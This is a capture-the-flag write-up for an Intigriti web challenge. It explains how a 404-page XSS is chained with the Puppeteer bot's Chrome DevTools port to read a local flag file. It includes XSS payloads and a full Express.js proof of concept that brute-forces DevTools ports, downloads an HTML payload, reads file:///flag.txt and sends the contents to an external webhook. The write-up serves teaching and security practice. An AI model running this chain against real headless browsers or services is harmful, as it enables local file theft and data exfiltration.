- Category: Web
- Impact: Medium
- Solves: 14
Find the flag.txt
on server-side.
The solution:
- Should retrieve the flag.txt from the web server;
- Should not use another challenge on the intigriti.io domain;
- The flag format is
INTIGRITI{.*}
.
For this October month, we have a web challenge page displaying a quiz with an username to choose:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Intigriti XSS Challenge - <%- title %></title><!-- CSS -->
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-9ndCyUaIbzAi2FUVXJi0CjmCapSmO7SnpJef0486qhLnuZ2cdeRhO02iuK6FUUVM" crossorigin="anonymous">
<link rel="stylesheet" href="/static/css/main.css"><!-- JS -->
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-geWF76RCwLtnZ8qwWowPQNguL3RmwHVBC9FhGdlKrxdiJJigb/j/68SIy3Te4Bkz" crossorigin="anonymous"></script>
<script src="/static/js/main.js"></script>
</head>
<body>
<div class="container" style="padding-top:100px;">
<div class="card">
<div id="quiz" class="card-body">
<h2 class="card-title mb-4 mt-4">What's your username?</h2>
<div class="form-floating mb-3" style="width:50%;margin:auto;">
<input id="username" type="text" class="form-control" id="floatingInput" placeholder="username">
<label for="floatingInput">Pseudo</label>
</div>
<button type="button" onclick="startQuiz(document.getElementById('username').value);" class="btn btn-outline-secondary mt-2 mb-2" style="width:80%;width:20%;margin:auto;">Submit</button>
</div>
</div>
</div>
</body>
</html>
We notice an own XSS <img src onerror=alert(1)>
possible within the username value and an injection in the title <%- title %>
part knowing that:
<%
Scriptlet tag, for control-flow, no output;<%=
Outputs the value into the template, HTML escaped;<%-
Outputs the unescaped value into the template.
The getTitle
JavaScript function is also vulnerable to XSS
if the DOMPurify sanitizer is not triggered in some ways:
app.use((req, res) => {
const getTitle = (path) => {
path = decodeURIComponent(path).split("/"); // Crashing on `%ff` character as `URIError: URI malformed`.
path = path.slice(-1).toString(); // Extract the last slash.
return DOMPurify.sanitize(path); // Have to be bypassed with parsing closed title.
}
res.status(404); // The HTTP 404 error indicates that the server could not find what was requested.
res.render("404", {title: getTitle(req.path)}); // The `req.path` property contains the path of the request URL.
});
The percent sign character %
have to be URL encoded, thus becomes %25
and the slash character /
becomes /
ultimately.
Then the XSS
%3Ca%20href=%22%3C/title%3E%3Cimg%20src%20onerror=alert(1)%3E%22%3E
will pop for a manual action.
We understand that we can redirect the headless browser on Puppeteer bot
script in the source code via any custom link, but we will have to eliminate the most unlikely leads (that we will succinctly go over for time-saving) because we cannot:
- exploit the
url
parameter on.../api/report?url[-1]=/
address; - use scripts gadgets on the latest BootStrap tool to
XSS
; - bypass the
403
error toLFI
; - make anything useful out of the
quiz.json
file for now; - promptly change the origin header;
- use WebSockets communications protocol to
SOP
directly; - take advantage of certain XSS nor recent Chromium exploits.
void DevToolsHttpHandler::OnWebSocketRequest(int connection_id, const net::HttpServerRequestInfo& request) {
if (request.headers.count("origin") && !remote_allow_origins_.count(request.headers.at("origin")) && !remote_allow_origins_.count("*")) {
const std::string& origin = request.headers.at("origin");
const std::string message = base::StringPrintf(
"Rejected an incoming WebSocket connection from the %s origin. Use the command line flag --remote-allow-origins=%s to allow "
"connections from this origin or --remote-allow-origins=* to allow all origins.", origin.c_str(), origin.c_str());
Send403(connection_id, message); LOG(ERROR) << message; return;
}
}
We can set up a local environment on Docker with a specific remote debug address, port to 9222
, screenshots or false
headless mode to view our requests:
async function goto(url) { // execFile("/usr/bin/node", ["/app/bot.js", `http://localhost:3000${url}`], (e,o,r)=>{};
const browser = await puppeteer.launch({
headless: false, ignoreHTTPSErrors: true, // docker compose up && DEBUG='puppeteer:*' node app.js
args: [
"--remote-debugging-address=0.0.0.0",
"--remote-debugging-port=9222",
"--no-sandbox", "--ignore-certificate-errors",
"--disable-web-security" // no CORS
], executablePath: "/usr/bin/chromium-browser" // Version 117+
});
const page = await browser.newPage(); // "chrome://version"
try {
await page.goto(url);
await page.screenshot({path: "/tmp/screenshot.png", fullPage: true});
} catch (e) { console.info(e); }
console.log("[LOG] Closing browser."); return;
}
At the end of the day/night, we note that we can write an arbitrary file to the Downloads
folder, attempt some LFI
(checking Dockerfile
config) and use the Chrome Devtools Protocol with it.
After intensive readings that we will cut short, the most likely approach we have come up to is sending the XSS
(of page 404
) to the Puppeteer bot, multithreaded parallel bruteforcing
of the used random Devtools port
(with awaiting) to make it download the LFI
payload in the session, opening a new web page tab
due to the Devtools
protocol who will be set on a valid file location and finally, exfiltrating
the flag.txt
content in the url parameter towards a webhook at our disposal!
Here is our simple Express.js proof of concept script:
const express = require("express");
const app = express(); // npm install express && node index.js && ngrok http 8000
const [head, body, port] = [`<!DOCTYPE html>\n<html lang="en"><body><head><meta charset="UTF-8"><title>POC</title></head><script>`,"</script></body></html>",3001];
app.use(express.static("public"));
(async () => {
let _delay = "let i=0;const delay=()=>{i++;if(i>=5){clearInterval(int)}};let int=setInterval(delay,25e3);";
let url = "https://challenge-1023.intigriti.io/api/report?url=/";
let xss = escape(encodeURIComponent("<a class=" + '"' + /* to be delayed */
"</title><img src onerror='window.open(`http://ngrok.localhost:3001/brut`);let i=document.createElement(`img`);" +
"i.src=`http://ngrok.localhost:3001/gif`;document.body.appendChild(i)'" + '"' + ">;"));
console.info(`curl ${url + xss} -k`); // As `URL sended to the bot!`
})();
app.get("/", async (req, res) => {
res.status(200).send("Oh, hi, Mark.");
});
app.get("/brut", async (req, res) => {
let scr = head + `(async () => { // await, no SDK needed.
async function view(k) {
async function flag(url, port) { // Specify domain, with Ngrok or VPS.
let a = document.createElement("a"); a.href=url+1234+"/lfi"; a.download="exp.htm"; a.click();
// window.open(url + 1234 + "/lfi");
await new Promise(r => setTimeout(r, 5000)); // "C:/Users/%username%/Downloads/exp.htm"
fetch("http://localhost:" + port + "/json/new?file:///home/challenge/Downloads/exp.htm", {method:"PUT"});
"debugger"; // Not stopped on client, if multiple ports.
}
const P = Array.from({length: 1000}, (_, i) => fetch("http://localhost:"+(i+k)+"/json").then(req=>(req.status===200?flag("http://localhost:",i+k):0)).catch(_=>-1));
return Promise.all(P);
}
let L = Array.from({length: 40}, (_, i) => view(i*1e3+30e3)); // Ordered, values to be changed.
return Promise.allSettled(L).then(r => console.info(r)); })();` + body;
res.status(200).send(scr);
});
app.get("/gif", async (req, res) => {
res.type("image/gif"); /** Used to counter the "TimeoutError: Navigation timeout of 30000 ms exceeded" with intervals. */
res.status(200).send(Buffer.from("R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=", "base64")); // XMLHttpRequests possible too.
});
app.get("/lfi", async (req, res) => {
let hook = "https://testor.free.beeceptor.com"; // mizu.re
let file = process.platform === "win32" ? "C:/bootTel.dat" : "flag.txt"; // The challenge runs on Linux.
let dl = head + `fetch("file:///${file}", {method:"GET", headers:{}}).then(r => r.text()).then(r=>{` +
`navigator.sendBeacon("${hook}/?"+btoa(unescape(encodeURIComponent(r))))});` + body;
res.attachment("exp.htm"); // Cannot be overwritten but can add `Date.now()` to the attachment filename.
res.status(200).send(dl); return res.end();
});
app.get("*", async (_, res) => { res.status(404).send("https://http.cat/images/404.jpg"); });
app.listen(port, async () => { console.info(`App started on port ${port}."); });
The bruteforce
may be a bit slow and could need to be restarted until it succeeds.
Denote that JavaScript
isn't really designed for this since it's single-threaded.
We end up with a request to our host with the desired INTIGRITI{Pupp3t3eR_wIth0ut_S0P_LFI}
flag!
- Following
Open Worldwide Application Security Project
recommendations; - Adding functional
Content Security Policies
; - Prevent unauthorized third-party use of
Devtools
,Puppeteer
andWebSockets
; - Control exfiltrations and read/write accesses.
This was interesting to see, applying simplistic concepts familiar from the web security field
but regretful that the challenge
was so unstable, thereforth we sent all our support to the team, bye bye!